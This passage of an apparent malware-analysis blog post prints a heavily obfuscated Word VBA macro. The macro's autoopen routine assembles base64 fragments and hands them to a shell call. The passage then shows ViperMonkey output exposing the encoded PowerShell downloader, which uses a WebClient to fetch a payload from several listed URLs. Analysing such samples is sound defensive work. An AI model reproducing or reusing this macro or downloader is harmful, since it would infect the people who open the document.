CStr(HPwVsmL) + (866253917 * 206154605 - kCATQD * CVNSNDan * (TuAQTSt + aDnOqP)))\r\nSet GirAX8IF = zlSR9ojz\r\n   w8C6ATj = 241659996 + Rnd(221131664 \/ ChrB(67853889)) * (i9Spcmnn * CStr(GYHS4bwL) + (941622527 * 173833504 - cPNYlMB7 * Zzl8sa * (PItCzo + VHcBHKGr)))\r\nSet WDAal7 = uTr7tW\r\nlsk59K2 = "wAGwA" + "aQB" + "0ACgAJ" + "wBA" + "ACcA" + "KQA7AC" + "QAa" + "QAw"\r\nKLPzsmr = 338153119 + Rnd(235357777 \/ ChrB(298636519)) * (bEp1Ja * CStr(S9RcLCBV) + (489922374 * 216470377 - Ti45Ca * kkpPUapz * (MHuHRN5z + fV1Bzc59)))\r\nSet qs9vBvSC = TNXf9YRP\r\n   tXsOkA = 610084019 + Rnd(501257081 \/ ChrB(868022676)) * (JzOPLhAY * CStr(laT7L1dP) + (771486829 * 751382428 - rGbF8Pf * qX59YshP * (lwHJ7YS + HPFMIz)))\r\nSet pFku4j = CZ9zH6A5\r\nMzvEWt = "ADUANQ" + "BhAG" + "wATw" + "BQAD" + "0AK"\r\ndLH2l3 = 483458888 + Rnd(225844508 \/ ChrB(860698071)) * (H2cI5E7 * CStr(hMXBjRrT) + (286274657 * 198493336 - VPoPcU * lCcOsj * (FO4wLtWW + RULK7p)))\r\nSet llz3cu = GltJTA\r\n   j29Ibk = 628709120 + Rnd(937903414 \/ ChrB(301295133)) * (NSZmmzz * CStr(I3f6tn0) + (970414523 * 752346545 - hCjjXr * mzS0sTiz * (r4kY03 + CZwkoLT)))\r\nSet LvzP6WDP = uzmOzzo6\r\nCSfGq3 = "AAn" + "AHQAcA" + "BZA" + "EUAM" + "gBvACc" + "AKw"\r\ns30bZv = 323743509 + Rnd(971962241 \/ ChrB(573005648)) * (zdtWJ6K * CStr(DVh498) + (840601367 * 509444007 - B7W2DV * q3UoFSil * (Qhza9A + RFdb6wv)))\r\nSet ZmmqAUOW = UPPYX2jL\r\n   MR7BGw = 599233617 + Rnd(898967321 \/ ChrB(769829978)) * (ZrrcTkiE * CStr(EkHTrLXt) + (661800549 * 658446957 - Gj1Dk6M * mYC4rqf * (DdKQJrwr + LJGmEAk)))\r\nSet NAn2XiV = VAf2Kz\r\n   jwlnQu = 591392880 + Rnd(219462055 \/ ChrB(442769878)) * (njbzqXI * CStr(NqIEHw) + (220029654 * 987614661 - z67lwo * wY9RiC * (cjLlw0L + Aojfchlm)))\r\nSet jz8mIMP = C0LG9pQ\r\nsXIO3j = "AnAG" + "0AMQ" + "AnAC" + "kAOwA" + "kAE"\r\nwBuzmLiw = qc2z0SEi + Oujhvq7b + QV7zAXF + BzjlMR1F + OQKf7zP + ds84PI + bZjAXG + lsk59K2 + MzvEWt + CSfGq3 + sXIO3j\r\nEnd Function\r\n\r\nFunction Mnv94H()\r\nOn Error Resume Next\r\naYtibs3 = 179827747 + Rnd(282625438 \/ ChrB(637411799)) * (mKzDvwPf * CStr(koOwWQ) + (820843991 * 289415028 - JjFdDd * lHfAVqz * (RPNVIV + DPpWlW0p)))\r\nSet JFU0SS4 = jrTi9a\r\n   lUWofF = 74927613 + Rnd(641543024 \/ ChrB(758132513)) * (UIV49I * CStr(rjh9sN) + (7144871 * 374798480 - QiRhhNzX * Zi1zlbf * (rQFvilwM + WisWwbB)))\r\nSet iIElPCtQ = TRs4Y3kO\r\nn8DNvz = "kARQB" + "wAEgAa" + "gBqA" + "CAAPQA" + "gACgAJ" + "wA2ADU" + "AJwAr" + "ACcAN" + "AAnAC"\r\nkRwoCbw = 252124838 + Rnd(733842440 \/ ChrB(143597698)) * (zrcm1dc7 * CStr(R66WQprw) + (814240235 * 421383916 - v8pM0R * s7TAKbb * (FTzFB83t + Gh8Unn)))\r\nSet a7niLvBz = vMwNwAr\r\n   IEn4iai = 707329075 + Rnd(651177826 \/ ChrB(528505509)) * (tdhpAcm * CStr(QWJu2F) + (923052425 * 748610456 - luiSzC * w4qsCDw * (wC5qL3M + ZJqVj8lV)))\r\nSet QKsnm1r = fTF8pt8\r\nuAwdTGD5 = "kAOw" + "AkA" + "G0AVQ" + "B1AFc" + "AZABG"\r\nhR1ASs = 593608699 + Rnd(869856326 \/ ChrB(837772827)) * (Z9pw547F * CStr(Oba2Po) + (194804751 * 17052920 - MTIQlW * fT0E0I6 * (qz1VPb + raJDDY1)))\r\nSet aLzZLi = YUKNcR7\r\n   oFpG4cU = 69902081 + Rnd(459111931 \/ ChrB(375063880)) * (C9Lqznb * CStr(KruAUNws) + (450570844 * 750939523 - j3VIiK3 * u8Utizp8 * (nOjkY6F + cVAmuD)))\r\nSet rhSciV = mZR1aH\r\n   IUwbv9 = 441358395 + Rnd(41993444 \/ ChrB(359464561)) * (pURjMl * CStr(ch2BLD) + (654196984 * 501767774 - c60wvXm * F4n707bn * (QjiU2bn + fYHdGr)))\r\nSet NAj45z = J4k2FtZd\r\nLOw02E5 = "AD0A" + "KAAnAF" + "IAM" + "ABhAHE" + "AJwA" + "rACcAM" + "QBsAD" + "AAJw" + "ArACc"\r\nFYW8JAh = 712619214 + Rnd(881693387 \/ ChrB(636295992)) * (URKaKmN * CStr(I3ZUT71W) + (250299522 * 589413664 - YMSLPFs * RpIzFY * (VFHNi7j + rErVnCm)))\r\nSet E3P6hfZ1 = OiOiBr\r\n   QA3fwJH = 424424867 + Rnd(823210062 \/ ChrB(264615348)) * (PK2s3Pl * CStr(wzSnDq) + (307425369 * 580047337 - BwAi5hfG * oacfXKo * (PjwUaV + ttdw1Oj)))\r\nSet Pq8LWI97 = TzQ3C9i\r\n   z2dUJc = 561984218 + Rnd(486723199 \/ ChrB(654304715)) * (G4FY1Mf2 * CStr(Nu5i9u) + (918391916 * 340744218 - fUdkQY * jcwnuD9 * (S73tN5I + dwLsnJ)))\r\nSet MwaiHbj1 = TmA1juPi\r\nUaU4Jz1 = "ATwA" + "nACkAO" + "wAkA" + "GQA" + "RwB" + "CAFQAb"\r\nSlNj2znD = 904942248 + Rnd(601296404 \/ ChrB(231547769)) * (WoJpiW * CStr(L7O7SCFY) + (378312373 * 859886211 - dIowCo * dOZvBIG * (GQAdsH + diwhojtH)))\r\nSet P0Xm5CP = bc6K78WP\r\n   sQzrsWma = 528335493 + Rnd(650487598 \/ ChrB(597667683)) * (GFWid6z * CStr(lq6rtk) + (534848929 * 916008907 - CXJSTGw7 * QJWWlsmX * (crCjiIwB + ulzrDJ)))\r\nSet Cbq9808i = FA9JOLV\r\n   v0o9zrXQ = 888537584 + Rnd(578349292 \/ ChrB(526518202)) * (D7ApwdLv * CStr(fa5jw5) + (486628947 * 80837732 - VwIbDiP3 * nItkf3 * (rkQ8D1C + JkVYiNzb)))\r\nSet cmPNTs2Y = RA52CPsj\r\nmLUvTz7 = "AA0AHE" + "APQAk" + "AGU" + "AbgB" + "2ADoAd"\r\nhXzdGE5 = 622752920 + Rnd(4143555 \/ ChrB(374439290)) * (wQW55V * CStr(GfZRfAE) + (958997563 * 351471992 - WVoA2VV5 * wSk7LHjV * (zVsdI8 + E07QKdWw)))\r\nSet ZjjbRs = rVT3im\r\n   wvptmnk6 = 494575016 + Rnd(560361141 \/ ChrB(299099691)) * (wPhh76N * CStr(VZrGTiiw) + (189766578 * 256872344 - WwEb9f * fJcubQj * (WGZBJW + aUCWqW)))\r\nSet TfadG8Z = KQ78pD\r\nnJIQQcw = "QBzAG" + "UAcgB" + "wAHI" + "Abw" + "BmA" + "GkA"\r\nuHrvLhk = 960064732 + Rnd(529986537 \/ ChrB(131783534)) * (wbjjomz * CStr(zGwzSZ) + (781269897 * 555111492 - JW3Vtaj * NnvzJ3UB * (iuqFX5B6 + GzZmhWGF)))\r\nSet GITw8lNT = wYjjO1iQ\r\n   MYuj56 = 665417865 + Rnd(256782902 \/ ChrB(345597011)) * (b5mZmpc5 * CStr(DHqRPr) + (856571112 * 941873976 - FXzQ8Ui * CMwdv3 * (QGUvjU2 + DRpOwT)))\r\nSet rKFWcRKh = DPn6Zh\r\nmnhC8GqR = "bABlAC" + "sAJwB" + "cACcAK" + "wAkAEk" + "ARQBwA" + "EgAa" + "gBqAC" + "sAKAAn"\r\nDzENLYi = 297625587 + Rnd(720768655 \/ ChrB(476796187)) * (pHlJsr * CStr(qObpku24) + (807596303 * 458000434 - Snjt2v * v8MIj15b * (wz05kzW + WhliQMI)))\r\nSet f2R7EJ = BTFt1afP\r\n   RI79ZA = 460723157 + Rnd(627391298 \/ ChrB(588236318)) * (EwL6JUmM * CStr(JMAjd8) + (760995623 * 634702389 - Cs3nJv4v * SGZHkLY * (aiAZ9J7 + wCr0Sh1)))\r\nSet cwXa1dGw = t9SjQHwY\r\nWCrXbI = "AC4A" + "ZQA" + "nACs" + "AJwB4" + "AGU" + "AJwAp" + "ADsAZ" + "gBvA" + "HIAZ"\r\nMnv94H = n8DNvz + uAwdTGD5 + LOw02E5 + UaU4Jz1 + mLUvTz7 + nJIQQcw + mnhC8GqR + WCrXbI\r\nEnd Function\r\n\r\nFunction Qd66bAu()\r\nOn Error Resume Next\r\nfoWb2Kp = 873066267 + Rnd(825404028 \/ ChrB(979149400)) * (i15WVz5 * CStr(sLSsNo) + (787551009 * 7545040 - dR4cZjAJ * EcPn1jFS * (dFQdudDs + u2cE8Tr)))\r\nSet rVnLF0Y = tnjiabV\r\n   BaN2AfUq = 661456499 + Rnd(670569176 \/ ChrB(166004269)) * (FQSF3Bz * CStr(kjRkTK) + (941750314 * 233680561 - Xq8iPw * zNpcEFtH * (Ddi164so + KKuaXBD)))\r\nSet lDQpKz = NiM1MMF\r\nl7cRfN7 = "QBh" + "AGM" + "AaAAo" + "ACQATQ" + "A4AF" + "UAMQB6"\r\nLailsNz = 406987825 + Rnd(654056395 \/ ChrB(861486049)) * (cqtrs0W * CStr(cVjO1ucj) + (265847283 * 758795270 - RaUfwU5X * SRtdn5d * (sHcqFBW + RzYGKzN)))\r\nSet K5pcoWN = ZWHiGl\r\n   YLPlBQWh = 809818160 + Rnd(951890865 \/ ChrB(40140484)) * (oZjODsvK * CStr(YVTHTmlq) + (605883735 * 987514461 - pFJ2aT * iwNXno5 * (rAzLNv + GD6MQatl)))\r\nSet WEMRc1p = H7iprUdw\r\ntuOdbcb = "AHcAI" + "ABpAG" + "4AIAAk" + "AFA" + "AZgB3" + "AEgAYw" + "BYAFoA" + "UwApA" + "HsAdAB"\r\nsIT87uTH = 469676144 + Rnd(55099057 \/ ChrB(842554649)) * (iN0OCP0 * CStr(Q1LtS3Cz) + (436493985 * 345713109 - XmHhWuPz * LwsjBhp * (MOAzdwN + EnminkN)))\r\nSet kpfuwNum = o1iKG5\r\n   Fv52Ui = 275681568 + Rnd(770884464 \/ ChrB(393266725)) * (KUoTYls * CStr(rRAkOBA4) + (258308706 * 921694968 - EiBwM3t * TVTNEwD * (ZiJQZzv + PiXfdfC)))\r\nSet jjMt0nTd = TJM8nsbz\r\npouJSzs = "yAHkA" + "ewAk" + "AEoARw" + "BUADkA" + "aQBZ" + "AE8AY"\r\ncRX82v = 19892619 + Rnd(293320422 \/ ChrB(874125705)) * (QYfzpw * CStr(KdAvmLl9) + (697346982 * 879664904 - lu7VIf8 * r2Iw2vm * (U0BN7mjj + NwTZMDYi)))\r\nSet kK1VHV = zvZ97wiq\r\n   JinbBIrj = 374051741 + Rnd(551264155 \/ ChrB(266061981)) * (QOKuQD * CStr(mGEZjjl) + (755729742 * 934633056 - ohr4wXK * LzGc3Q * (BXQWiEa + BbiGwb2)))\r\nSet dlUYWG = X60mhT\r\nRwmuL9zj = "gAuA" + "EQAbw" + "B3AG4" + "AbA" + "BvAGEA" + "ZABGA" + "GkAbA"\r\niZUGWi = 558728469 + Rnd(671739561 \/ ChrB(884179563)) * (V4Flvt * CStr(Rw6ztKIF) + (805894080 * 147955897 - zwWiVA * bmOqqfLC * (kJ7Y8Rp + zOcujRj)))\r\nSet bhPuUFU = MHO9Gob\r\n   JjbEhIw = 492205395 + Rnd(310280451 \/ ChrB(766429482)) * (lWqJiv8o * CStr(YivLBnzp) + (372617296 * 841950712 - Asvsjbc * hbfarEp * (B3baG3 + FKonY6L)))\r\nSet wYvPfL7 = GPuUjKdL\r\nd1E4tZ = "BlACgA" + "JAB" + "NADgAV" + "QAxA" + "HoAd" + "wAsA" + "CAAJ"\r\nJnLUnj = 175000718 + Rnd(823347353 \/ ChrB(659168783)) * (CQ4isoba * CStr(DMwNB1) + (509079383 * 609501128 - w39cw9Gj * pqPK9dFb * (oAaQHaWG + iN3YwKRa)))\r\nSet c6IaPY8o = nEv756c\r\n   hht2zDQ = 597386587 + Rnd(601919816 \/ ChrB(978791791)) * (U6kihkhD * CStr(MDCKGLQ) + (320740386 * 355634144 - PLSQ9i * l4mwtLZ * (Y5GLiDSp + zFURm2uG)))\r\nSet LjCAjQ = OS9rTf1\r\n   vH2kmI2X = 533198944 + Rnd(97573349 \/ ChrB(622189184)) * (zt1SwVI * CStr(Wr3RzRZ) + (780174646 * 240798078 - WMaI9kh * mUth5p6N * (SdjiqJsV + wu2uF8w)))\r\nSet QMzZnqG9 = GWLAijA\r\nzPOMJu0d = "ABk" + "AEcAQ" + "gBU" + "AGwA" + "NABxA" + "CkA" + "OwAk" + "AE8" + "ARA"\r\nKUHwVWW = 626702085 + Rnd(83132343 \/ ChrB(884812614)) * (vvTvMh * CStr(zbwz1J) + (196571569 * 922203237 - ihWwz9 * ci7avnc * (jXoQkU + mjU9LKb)))\r\nSet LYsF8UOm = RfqLU6\r\n   EzYf7w0G = 942368426 + Rnd(199438054 \/ ChrB(493369092)) * (YHMNOJCJ * CStr(KtkS7ccN) + (530972519 * 517759448 - sKjCHCz * TpBdzC8 * (sqs4Lw + Boi08Dk)))\r\nSet BoMBAV = rEjwHZ\r\n   k5f1VdNJ = 393173748 + Rnd(987728499 \/ ChrB(109487686)) * (CslSFQ3 * CStr(mJXn99G) + (182909226 * 319767467 - RlqXjfq9 * wv1bjTN * (ZXIQKVd + MCNpjcO)))\r\nSet Mtjk5G = UjLYp3so\r\nSfBGzL = "B6AEQA" + "SwA5AD" + "MAPQA" + "oACcA" + "ZgAn" + "ACs" + "AJwBqA"\r\np7jplv = 927701276 + Rnd(852753459 \/ ChrB(400750473)) * (owtbaHVS * CStr(Jj8DJ9) + (808919948 * 872694240 - NVjqCi * wCwvIvj3 * (iM2nJBm + fcwH9UL)))\r\nSet LDY2kbU = VYLdQO\r\n   HQnPzR = 185535274 + Rnd(58755511 \/ ChrB(765192252)) * (QfSWOz * CStr(i1LRjbQO) + (873745759 * 907176767 - YfUBZS * svLmH1O * (p7XPUqO + FzhDTJZm)))\r\nSet JQ76dd9z = IqMkoE8\r\nJnMhEm06 = "EgAegB" + "EAGwA" + "cAAnAC" + "sAJwA" + "1ACcA"\r\nKuS56sp = 129935722 + Rnd(414094266 \/ ChrB(334228970)) * (qLfZsF * CStr(c7AMrS) + (568007474 * 168984552 - FuCQuatW * tvBjn9ER * (UWjY4Qu + jJfAkN)))\r\nSet caEpVj = p6bisO\r\n   NE08P60 = 698735385 + Rnd(171835498 \/ ChrB(902622668)) * (IQQNiXz * CStr(GUMOlR) + (869004564 * 112885696 - tujsZ0 * Ul1WjSWK * (iDN8nmI + lnnHkBmF)))\r\nSet c2NDmbA = q42blTcF\r\nWuLoWdq = "KQA7A" + "EkAZgA" + "gACgA" + "KABHA" + "GUA" + "dAA" + "tAEkA" + "dABlA" + "G0AI"\r\nt2svhnEN = 428199590 + Rnd(411213609 \/ ChrB(561911674)) * (Qz79TVb * CStr(mEj4MB) + (893078066 * 512241062 - PsvtD0Va * UffQkBr * (kKC1wGn + WCT5IsV)))\r\nSet F4095mc = dQTKUa\r\n   Eph75PR = 869271806 + Rnd(219077211 \/ ChrB(380424824)) * (h42QnSE1 * CStr(jqbc7v) + (574601309 * 642538064 - qB8jBH8w * ziXfVp * (rMKRJvD + WTjSjZY)))\r\nSet wVOfUSm = GT7HQN\r\n   YztVwWuD = 377513235 + Rnd(519152519 \/ ChrB(787867678)) * (z3HGUbUi * CStr(ASm3i0Di) + (738743664 * 643737779 - ntIb6Kz * ECfdwltE * (PQ4tCK + DT8DFl)))\r\nSet U83fJv = wQGYtY\r\nd6H2AFR = "AAkA" + "GQARw" + "BCAF" + "QAb" + "AA0AHE" + "AKQAuA" + "GwA"\r\nQd66bAu = l7cRfN7 + tuOdbcb + pouJSzs + RwmuL9zj + d1E4tZ + zPOMJu0d + SfBGzL + JnMhEm06 + WuLoWdq + d6H2AFR\r\nEnd Function\r\n\r\nFunction misB743q()\r\nOn Error Resume Next\r\nojs15m = 259784895 + Rnd(468663839 \/ ChrB(339892782)) * (qJMs3z0q * CStr(YbKw1Vs) + (478243774 * 253321315 - lsWRtoj3 * n9UwvHw * (zjUrTEh + Oh0F23)))\r\nSet raJIcwp = Y1BFO7tz\r\n   ukwtj7G5 = 441979621 + Rnd(845842613 \/ ChrB(568569952)) * (XMQ3ROD * CStr(Ttp8bTj) + (915279226 * 989126002 - Snqn53T * tXvGkB * (c7KWoV + DiiwUj)))\r\nSet oIwjm8Z = tpA8jXZR\r\nADNMmcl = "ZQBuA" + "GcA" + "dABo" + "ACAA" + "LQBn" + "AGUA" + "IAA0AD" + "AAMA" + "AwA"\r\nz4fIozif = 264614520 + Rnd(689262174 \/ ChrB(572433491)) * (iNG0Gw * CStr(ATUkb5fn) + (740258210 * 875099145 - ZY2aciqU * W3XM7Qc * (i1A7kL + t03jw7)))\r\nSet NWphmIXw = WNP9OLDo\r\n   ajV4kic = 445625547 + Rnd(60789641 \/ ChrB(432890347)) * (rWjRGbrs * CStr(CGkZSh) + (119366005 * 280821196 - kf5C0b * Jza1wbfB * (ZBjWJQhO + N5UwY9)))\r\nSet XdSo0t = qMUJ5QJ\r\ndUWofu = "DAA" + "KQA" + "gAHsAS" + "QBuA" + "HYA"\r\nZhoDZbOv = 962213343 + Rnd(917990298 \/ ChrB(325079150)) * (cdRkXQjR * CStr(CaoTJl) + (786113072 * 689918715 - NwhiqGaf * wmp88U * (Yudc7cm + GFJKOzih)))\r\nSet p5RzBVRF = jWwqMNuQ\r\n   kpKRjJ = 311135869 + Rnd(114101750 \/ ChrB(744369689)) * (jOhNwQWz * CStr(BlOzk14) + (434540199 * 973074445 - BwJProA * El3zk7 * (lvd0Krp + Z7TZqviV)))\r\nSet U8HmWXQ = lZMn8hr\r\nsEdLvJE = "bwBrAG" + "UALQB" + "JAHQA" + "ZQBtAC" + "AAJA" + "BkAEc"\r\nhYriXp = 3547945 + Rnd(94664314 \/ ChrB(242330258)) * (qKGLMC * CStr(awvHwWqS) + (902210241 * 375505551 - zvsYwz9W * bzT0mCv * (iYFOV2Q6 + TGszWQCb)))\r\nSet SEBN2Q9 = noj6jzW4\r\n   YDuiwZ = 254937817 + Rnd(430679092 \/ ChrB(874277840)) * (PdnmHw * CStr(EuFkkR5Z) + (1270322 * 713562678 - BvtZmiB * h2hIni * (InNOYd + ZJR3APs)))\r\nSet DjuOAj = tb3hb8\r\n   wbPpmKGi = 604694031 + Rnd(271130817 \/ ChrB(703287287)) * (aXnCkCJ * CStr(tjE0zoq8) + (87529262 * 578769563 - WjVoTEC * qVzjbWk * (rm6Oitkm + tnLHT3E)))\r\nSet TR8G7M = NdYRFK\r\nd5wpXhz = "AQgBU" + "AGwAN" + "ABxA" + "DsAJAB" + "jADcA" + "agBp" + "AFEAMw" + "A9ACg"\r\ns3YKFDEz = 27029413 + Rnd(550064100 \/ ChrB(431289624)) * (Vrjk1If * CStr(hGq4iib) + (582551148 * 787601316 - aYpJK9p * kHjNX7Zk * (JSwXOSdM + Sbvzz4B)))\r\nSet V3d1Iwj = amF2Czc\r\n   f87WEh4 = 807911768 + Rnd(44152535 \/ ChrB(221089631)) * (Bm3kGP * CStr(tKqAWUu) + (520858982 * 692255487 - kT91C5qG * Z9F99Iq * (hFoIdbQ + mwXHVRTs)))\r\nSet rqZJczXL = TLDvKC\r\nW1qwKF = "AJwB" + "3AG" + "kAJw" + "ArACc" + "AZA" + "AyAFo" + "AVw" + "BZAC" + "cAKQ"\r\nmisB743q = ADNMmcl + dUWofu + sEdLvJE + d5wpXhz + W1qwKF\r\nEnd Function\r\n\r\nFunction SvYi5Y()\r\nOn Error Resume Next\r\nQar3FUa = 455660881 + Rnd(479377581 \/ ChrB(913763670)) * (A3z8Rh * CStr(pNuA25) + (186645371 * 372560310 - DBLqOi * mh4wbX * (HTTjUaYs + irBLID)))\r\nSet rRDToVs = HVAvWDHu\r\n   LFSbAYGY = 800434914 + Rnd(510784388 \/ ChrB(882020659)) * (H1QaWB * CStr(GbmhZi1) + (618397161 * 606005729 - YfC4ZL * Z3tBSa * (jvScVUW + j5k4PwM)))\r\nSet tnG71PK = jYZTGT4\r\n   UAZpHEhA = 935091417 + Rnd(677220105 \/ ChrB(173746982)) * (ZQl4El2b * CStr(AKWqwV) + (329430195 * 691723933 - wfqVE8VL * VHzSVIw2 * (wOW0Yi + npl0X43)))\r\nSet NwHQqXS = TDUojdbd\r\nB6II8P = "A7AG" + "IAc" + "gBl" + "AGE" + "AawA" + "7AH0" + "AfQ"\r\nRJLo0A = 811400454 + Rnd(956707359 \/ ChrB(342546818)) * (DsGVHwws * CStr(ioAmQUU) + (61676991 * 885722845 - aPGOXNan * DXGLBPET * (iM5ufK + ii4cWFic)))\r\nSet mkYFjf = vbOEPu\r\n   kim6Ji8 = 604995466 + Rnd(187162849 \/ ChrB(369192227)) * (iI8XbmjC * CStr(Xa5S9V) + (778068471 * 817724678 - wbKimLd4 * bvPmUI7b * (kIHmCM + blzWlD4J)))\r\nSet mPIpdpi = O8zZVj\r\n   ZIYasqvd = 362165474 + Rnd(112544498 \/ ChrB(383572899)) * (nmW4itI * CStr(rDLJBSzM) + (558171835 * 594087418 - wv6pzluN * i5Y4RRq * (BFwSVOj + hJiwuXz)))\r\nSet LvHYina = mHBifn\r\nFckbN7Qj = "BjA" + "GEAdA" + "BjA" + "GgAe" + "wB9AH" + "0AJ" + "ABPAHE" + "ASwB"\r\nWzt9cQif = 664813073 + Rnd(931017087 \/ ChrB(602680043)) * (mpsMhE * CStr(PdmsLohV) + (633491023 * 530973899 - pMoFnk * MbqZ60ij * (I2j0JV + OmBJBY)))\r\nSet XhAmj8zk = pMwMJ8qV\r\n   OjUC9q = 619911867 + Rnd(191324940 \/ ChrB(505764206)) * (QOzGf2X * CStr(znHzzKS) + (142403242 * 793628068 - anj1Msh * shtziQc * (t7FndL + cOwXdYL)))\r\nSet jr94wToO = vRShsn1\r\npDT9WTn = "3AGQ" + "AcAA" + "9ACgA" + "JwBYAE" + "4ASwA" + "nACsA" + "JwBYA"\r\nWuD7X5zT = 493945759 + Rnd(137050478 \/ ChrB(960794521)) * (rjIzhB * CStr(c1aPhEu) + (584875022 * 501993385 - h4I7Ei * CbIYidGF * (LoUsS35m + rFt0dp5G)))\r\nSet DTwEiMZ = ob9d1RA8\r\n   Zwjr6fQV = 830631645 + Rnd(438680916 \/ ChrB(453945522)) * (Y7JEZ0T * CStr(K7vp8Q1) + (730843367 * 316482153 - MBo85j * MozEwp8o * (wIYK3k + Nh0fGHHK)))\r\nSet OLJzmmV = t8A0mNn\r\n   ItmtPo = 144370194 + Rnd(885973332 \/ ChrB(472537641)) * (bj1Lo3D * CStr(VQowE4Dj) + (120093318 * 738763736 - QZBEArQ * otjRFjB * (sqw7w5Ez + imvt5wN)))\r\nSet GnLzRhnj = zUBJP3Q\r\nEIEU9Tz = "EUA" + "SwAnA" + "CkAO" + "wA="\r\nSvYi5Y = B6II8P + FckbN7Qj + pDT9WTn + EIEU9Tz\r\nEnd Function\r\n\r\n\r\nSub autoopen()\r\nOn Error Resume Next\r\n   WYG01Emi = 627136152 + Rnd(703507320 \/ ChrB(92536584)) * (znW1sqYh * CStr(HHdzi9u) + (628984380 * 336072048 - DZrq5rib * Owc3Vz * (wIbP78 + ODj3Eu0)))\r\nSet MoJz04FZ = SB6NK0bY\r\n   z5oTLD = 599329029 + Rnd(451456318 \/ ChrB(19258986)) * (UO7VOQ * CStr(nGUHt77) + (440806034 * 738022724 - d6BQD1Q * b2wiEM * (wvwI7D + iz5WPl)))\r\nSet cvOW94 = NC25UzDh\r\n   Trwctot = 581744880 + Rnd(558079707 \/ ChrB(322360018)) * (SvHPuK * CStr(Zk1MQqQz) + (66927396 * 951667606 - h5vLqtYs * wGnj2K * (Gj9DFz1 + CX6flU)))\r\nSet XA6jBv3 = huirzFA\r\npjs7kH = rkw8UGh + Chr(fUvcLZ + FzFXsJGB + KeyCodeConstants.vbKeyP + www5Vz + YiZjZuT + W6J5smt + LECJDVzi) + oHPUlXj + H69wWw4D + bOXYcQd\r\n   ccVZ5B = 660827807 + Rnd(960868094 \/ ChrB(117019020)) * (E4DLNP * CStr(fiiGc1mj) + (674990587 * 757028956 - UAwdii * sn98VAT * (DKooza + S4jSc0)))\r\nSet o6FEjqsh = zjhvbjPT\r\n   cH95iKG = 302472438 + Rnd(264864397 \/ ChrB(286542331)) * (WssUjwUr * CStr(IVBYFtF) + (506547179 * 128201286 - hwX0P08T * Anzwnj * (Vzvc58 + IEWNvJpw)))\r\nSet RVRzXYLi = MmbJdYrr\r\nGGS8A1j = VWWz37nX + Chr(AtOQwkZX + vnhmNtWc + z6950fb + lQms5M + KeyCodeConstants.vbKeyO + n5ilbt + uBZASZtT + v6tRjLX) + bwVq6p + JrQtnG3 + DPVWUZ + zl5pfX + QWtO0w\r\n   QzDwRKFi = 146327714 + Rnd(234342030 \/ ChrB(575897316)) * (O1d4qfl * CStr(iZWNw4mD) + (16669287 * 24485372 - kkuIWP * z0awzo * (A4MRTl + XDVM2FN)))\r\nSet KjQtuUQ8 = i0jaK0kD\r\n   tOpczq = 703904372 + Rnd(240430333 \/ ChrB(122288507)) * (HzUlrpKi * CStr(KC2hWwGz) + (969991852 * 231469119 - EYOQLRUp * zH8qfdpn * (SWqLw5b5 + HnIUu7W)))\r\nSet uO3fcGt = OnJUlidr\r\n   T6EzHmvQ = 401572651 + Rnd(793195745 \/ ChrB(902715424)) * (M7p7qOVR * CStr(B5aUnKw) + (848796452 * 199707633 - jS0BpBG * HzXtqOM * (fIqBjC + OHFm7rkb)))\r\nSet i5ANPu0 = bqnY96\r\nDsiufjK ikw8I0t + pjs7kH + GGS8A1j + KHwRElj7 + wCPzWAns + F0wA2rw + UOiYERH + B8waSCi + BIBrlzL + wBuzmLiw + Mnv94H + Qd66bAu + misB743q + SvYi5Y, 125713 - 125713\r\n   MSD84f = 74722115 + Rnd(618328723 \/ ChrB(812588121)) * (DIwVYJ * CStr(SmTkHi) + (453673570 * 603260537 - HPfnkh * irj1E5Rk * (j0L2oXoX + wcb4qXop)))\r\nSet cOcriqb = VShRh6X\r\n   J1XHvVB = 353202910 + Rnd(702104841 \/ ChrB(847006653)) * (cFUCzPjE * CStr(o9Vsnp) + (742374002 * 489394143 - Wbil7ijm * DfdRJp * (ikD2EA + oDrVlNY)))\r\nSet FktGUt5 = FQiDj8f\r\n   zjhzksl = 18464130 + Rnd(994433919 \/ ChrB(158754862)) * (Yk10T9O * CStr(fJKhnoPi) + (948797985 * 867038795 - shcU5jd * N1wiwiz * (uwLwYX + zEVjCS)))\r\nSet fDXpYc = GUSW91G\r\nEnd Sub\r\n<\/pre>\n
So trying another tool out that I have been playing with a lot (ViperMonkey from Decalage2: http:\/\/github.com\/decalage2\/ViperMonkey<\/a>) yielded the breakdown of the script with the code being encoded in base64 as seen below:<\/p>\n
\r\nJABIAEwAMwAzAFIAQwBSADAAPQAoACcASwB2ACcAKwAnAGQATAAnACsAJwB1AHAAcgAnACkAOwAkAEoARwBUADkAaQBZAE8AYgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABQAGYAdwBIAGMAWABaAFMAPQAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6AC8AJwArACcALwBkACcAKwAnAGEAJwArACcAZABhACcAKwAnAGYAYQByAGkAbgBnAG8AcwAnACsAJwB0AGEAcgAnACsAJwAuACcAKwAnAGMAJwArACcAbwBtAC8AJwArACcAcgB0AFEAdwBUACcAKwAnADUAJwArACcANQB6AEAAJwArACcAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBmAGkAJwArACcAbABlACcAKwAnAC4AbABhAHUAYQBzAGkAbgBoAC4AYwBvAG0AJwArACcALwAnACsAJwBQACcAKwAnAFgAZQBoAEwAJwArACcAUAAnACsAJwBQAGwAQAAnACsAJwBoAHQAdAAnACsAJwBwACcAKwAnADoAJwArACcALwAvAGEAJwArACcAbgAnACsAJwBnAGkAcgBhAHMALgAnACsAJwBvAHIAJwArACcAZwAvAHgAJwArACcAOABCACcAKwAnAGoAYQBNACcAKwAnADQAJwArACcANAAnACsAJwA0AEkAQABoAHQAdAAnACsAJwBwACcAKwAnADoALwAvAGEAZABzAHUAaQBkAGUALgBjAGwAJwArACcAdQBiAC8AeQAnACsAJwA3ACcAKwAnADcAUQBUAEsAaABWAEAAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwBtAGkAYwBoAGEAZQBsAHcAcgBpAG4AZwBsACcAKwAnAGUAJwArACcAcgAuAGMAbwAnACsAJwBtAC8ASQBSAFkAWQAnACsAJwBxAFAAYgA1ACcAKwAnAE4AJwApAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAaQAwADUANQBhAGwATwBQAD0AKAAnAHQAcABZAEUAMgBvACcAKwAnAG0AMQAnACkAOwAkAEkARQBwAEgAagBqACAAPQAgACgAJwA2ADUAJwArACcANAAnACkAOwAkAG0AVQB1AFcAZABGAD0AKAAn